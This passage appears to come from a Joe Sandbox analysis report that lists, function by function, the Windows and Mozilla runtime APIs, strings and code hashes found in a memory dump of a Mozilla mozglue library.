moz_xmalloc.MOZGLUE(?,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B6AC

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C97B61E), ref: 6C97B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C97B61E,?,?,?,?,?,00000000), ref: 6C97B79A

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 206aaa143e1a8f5c30bb1a010843da7fd27a259a369e25c508e829b41e0a4ed6
Instruction ID: 267d683557dfdb8c1c1dff1ba80a47e510ea48a0431acb6d77b8df93edadc76b
Opcode Fuzzy Hash: 206aaa143e1a8f5c30bb1a010843da7fd27a259a369e25c508e829b41e0a4ed6
Instruction Fuzzy Hash: 5141C7B2D011159FCB14DF68DC905AFB7B9BF64324F250629E825E7B80E731E90487E1

Function 6C97EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9F5104), ref: 6C97EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C97EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C97EFEC
free.MOZGLUE(?), ref: 6C97F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C97F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C97F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C97F065
moz_xmalloc.MOZGLUE ref: 6C97F072

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 2fe206685a35d7fc7e9573b604f7564498d821da9d07c3a93030c76626d89edc
Instruction ID: 021965cfaa98b48be0feb791904023c0b44ab2de48b701861abd6e3028bd61f5
Opcode Fuzzy Hash: 2fe206685a35d7fc7e9573b604f7564498d821da9d07c3a93030c76626d89edc
Instruction Fuzzy Hash: C541E7B1A012059FCB18CF68D8809BF7769BFA8318B244628E815DB794EB31E915C7E1

Function 6C9EB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9EB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9EB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9EB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9EB5F4
__Init_thread_footer.LIBCMT ref: 6C9EB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9EB61F
std::_Facet_Register.LIBCPMT ref: 6C9EB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9EB655

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 59f95d0b89596dbf9ff233184271c5347ec5745fc57fd991256088a08b00f08d
Instruction ID: be6a32c19e4fee77e9b449c9b98073f82859937aedb527f95055f7582b5a3acf
Opcode Fuzzy Hash: 59f95d0b89596dbf9ff233184271c5347ec5745fc57fd991256088a08b00f08d
Instruction Fuzzy Hash: 0231A471B04205CBCB00DFA9D8589AEB7F5FF99368B250519D92297740DB31E806CFA2

Function 6C989830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9D7ABE), ref: 6C98985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9D7ABE), ref: 6C9898A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C989909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C989918
free.MOZGLUE(?), ref: 6C989975

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 28c3ca6411ee3dafd9b1c6b0689d236c5a08b9c2951efb8b3971dedd1d36ae00
Instruction ID: 747d40dcdbd4169dff14cecb40d57d3b3ad4f389612a42f773a064a6a7f6b249
Opcode Fuzzy Hash: 28c3ca6411ee3dafd9b1c6b0689d236c5a08b9c2951efb8b3971dedd1d36ae00
Instruction Fuzzy Hash: BA718B746067068FC725CF28C480966B7F5FF4A3287654AADE85A8BB90D732F841CB91

Function 6C98B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9CCC83,?,?,?,?,?,?,?,?,?,6C9CBCAE,?,?,6C9BDC2C), ref: 6C98B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9CCC83,?,?,?,?,?,?,?,?,?,6C9CBCAE,?,?,6C9BDC2C), ref: 6C98B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9CCC83,?,?,?,?,?,?,?,?,?,6C9CBCAE), ref: 6C98B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9CCC83,?,?,?,?,?,?,?,?,?,6C9CBCAE,?,?,6C9BDC2C), ref: 6C98B896

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 69e99961dd621e097b735318ad9d043a21f746c03d8cf724aa4908e0c5286ac9
Instruction ID: fc9e6659f619f3e23daf2702d454a6084e3a516025d1a4a1121efc30d904dde1
Opcode Fuzzy Hash: 69e99961dd621e097b735318ad9d043a21f746c03d8cf724aa4908e0c5286ac9
Instruction Fuzzy Hash: 27519F757016008FCB14CF59C894A2AB7F9FF89318F69899DE99A87751C731EC02CB80

Function 6C9C1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9C1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9C1BE3,?,?,6C9C1D96,00000000), ref: 6C9C1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9C1BE3,?,?,6C9C1D96,00000000), ref: 6C9C1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9C1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9C1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9C1DDA

Part of subcall function 6C9C1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9C1F03
Part of subcall function 6C9C1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9C1DF2,00000000,00000000), ref: 6C9C1F0C
Part of subcall function 6C9C1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9C1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9C1DF4

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 85a4464a81ec9c7375ed4e57edb835534f5ee5556db5813f2c75e489a047a4aa
Instruction ID: ad827d8c2d2bb47edac014736ff9af64a86067092275976586647c3d429d911a
Opcode Fuzzy Hash: 85a4464a81ec9c7375ed4e57edb835534f5ee5556db5813f2c75e489a047a4aa
Instruction Fuzzy Hash: 344178B52047059FCB10DF28D488A56BBF9FF99318F20446EE96A87B41CB31E814CB96

Function 6C9838A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9FE220,?,?,?,?,6C983899,?), ref: 6C9838B2
ReleaseSRWLockExclusive.KERNEL32(6C9FE220,?,?,?,6C983899,?), ref: 6C9838C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C983899,?), ref: 6C9838F1
RtlFreeHeap.NTDLL ref: 6C983920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C983899,?), ref: 6C98392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C983899,?), ref: 6C983943
RtlFreeHeap.NTDLL ref: 6C98396E

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: b82f0e5f2b44dbeccf989df0e94a942369779d2c52c4e62e9af861230ffeb200
Instruction ID: 1df31664d03dcda318ba56435d033b506c0633fc975d48b7d8ef021a25edb857
Opcode Fuzzy Hash: b82f0e5f2b44dbeccf989df0e94a942369779d2c52c4e62e9af861230ffeb200
Instruction Fuzzy Hash: FB213272601710DFD721DF25C880B86BBB8FF54328F258869D96A97B00C731E845CB90

Function 6C9B84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B85AC

Part of subcall function 6C9B7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9B85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B767F
Part of subcall function 6C9B7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9B85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B7693
Part of subcall function 6C9B7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9B85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9B85B2

Part of subcall function 6C995E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
Part of subcall function 6C995E90: memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
Part of subcall function 6C995E90: LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: fba496d2d5824f33e913c89d6c2b8ee00ef864a96dafd4cc6b35b2ae0fae6bf3
Instruction ID: 27c080f4916804f5934b1731a10b3886e6047451ac083826306b42afb566efeb
Opcode Fuzzy Hash: fba496d2d5824f33e913c89d6c2b8ee00ef864a96dafd4cc6b35b2ae0fae6bf3
Instruction Fuzzy Hash: 49219F74200602AFDB18DF24D888A5BB7B9AF4830DF24482DE55B93B41DB71F949CB55

Function 6C981640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C981699
VerSetConditionMask.NTDLL ref: 6C9816CB
VerSetConditionMask.NTDLL ref: 6C9816D7
VerSetConditionMask.NTDLL ref: 6C9816DE
VerSetConditionMask.NTDLL ref: 6C9816E5
VerSetConditionMask.NTDLL ref: 6C9816EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9816F9

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: ed72ee42de3073f383ab9719bca5b34bfa171a7c577eb398215576ea89b5e5c8
Instruction ID: 5a822f558bb29d954fc9a4b65618aaa664ba947fbb5c69384ad35064987968ed
Opcode Fuzzy Hash: ed72ee42de3073f383ab9719bca5b34bfa171a7c577eb398215576ea89b5e5c8
Instruction Fuzzy Hash: 6C2102B07442086BFB106A649C89FBBB3BCEFD6B04F044928F6559B280D678DD54C7A1

Function 6C9BF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9ACBE8: GetCurrentProcess.KERNEL32(?,6C9731A7), ref: 6C9ACBF1
Part of subcall function 6C9ACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9731A7), ref: 6C9ACBFA

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C9BF598), ref: 6C9BF621

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

GetCurrentThreadId.KERNEL32 ref: 6C9BF637
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000,?,6C9BF598), ref: 6C9BF645
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8,?,?,00000000,?,6C9BF598), ref: 6C9BF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C9BF62A

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: d5e99b6335be0ca5e5938cb839708c847a87e388955d7ff819c5b0f69201ae8b
Instruction ID: 9d2d90e8387830f8e07ff8a8de2d036f68367697581e79d2d0d81e98a919f014
Opcode Fuzzy Hash: d5e99b6335be0ca5e5938cb839708c847a87e388955d7ff819c5b0f69201ae8b
Instruction Fuzzy Hash: 4E11E779215205FBDB04AF58E9489A677BDFF9635CB200015EA1593F01CB72E821CBA1

Function 6C981FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C981FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C981FFD
__Init_thread_footer.LIBCMT ref: 6C982011
FreeLibrary.KERNEL32 ref: 6C982059

Strings

combase.dll, xrefs: 6C981FD9
CoCreateInstance, xrefs: 6C981FF7

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: ff7c50e05e0cede9b043ce7063337d0de31ebd69d6e36bcdef5217ceeff6449e
Instruction ID: 84a81e6bd1a2754abeff32d1af22aa1c55aa1dd24f7af7d8225cb164bc1a4169
Opcode Fuzzy Hash: ff7c50e05e0cede9b043ce7063337d0de31ebd69d6e36bcdef5217ceeff6449e
Instruction Fuzzy Hash: BD114CB5209205EFEF21CF55E85CEAA3BB9EB86359F304429ED2597A40D731D801CFA1

Function 6C980EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C9AD9F0,00000000), ref: 6C980F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C980F3C
__Init_thread_footer.LIBCMT ref: 6C980F50
FreeLibrary.KERNEL32(?,6C9AD9F0,00000000), ref: 6C980F86

Strings

combase.dll, xrefs: 6C980F18
CoInitializeEx, xrefs: 6C980F36

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d27453032b411df0ac10216f650a1489d9602ab43e89b1a301de00891b56848c
Instruction ID: aacc3e3d94bb9042501022b0741d9cb6be95cddad24f8e5aaaa12d241c67f3cb
Opcode Fuzzy Hash: d27453032b411df0ac10216f650a1489d9602ab43e89b1a301de00891b56848c
Instruction Fuzzy Hash: 1D11A57470B2809BDF01CF59E948E6637F9FB8B329F20862AE92597B40D730E416CB55

Function 6C9BF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
Part of subcall function 6C9B9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
Part of subcall function 6C9B9420: __Init_thread_footer.LIBCMT ref: 6C9B949F

GetCurrentThreadId.KERNEL32 ref: 6C9BF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9BF561

Part of subcall function 6C9B94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9B94EE
Part of subcall function 6C9B94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C9B9508

GetCurrentThreadId.KERNEL32 ref: 6C9BF577
AcquireSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BF585
ReleaseSRWLockExclusive.KERNEL32(6C9FF4B8), ref: 6C9BF5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C9BF56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C9BF499
[I %d/%d] profiler_pause_sampling, xrefs: 6C9BF3A8
[I %d/%d] profiler_resume, xrefs: 6C9BF239

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 579f262a702a88ff4e8e6d2edbf0a1b396e8e9caeca166021ff13b2877a77122
Instruction ID: 62247bd75a0b20a52f757e8ecdd225b4459027381fa0f620fe2b2023aa3fd03c
Opcode Fuzzy Hash: 579f262a702a88ff4e8e6d2edbf0a1b396e8e9caeca166021ff13b2877a77122
Instruction Fuzzy Hash: 14F0B479204204AFEB006F64A84C96A77BDEB9625DF200011EA2593B01CB75C801C7B5

Function 6C9BF600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

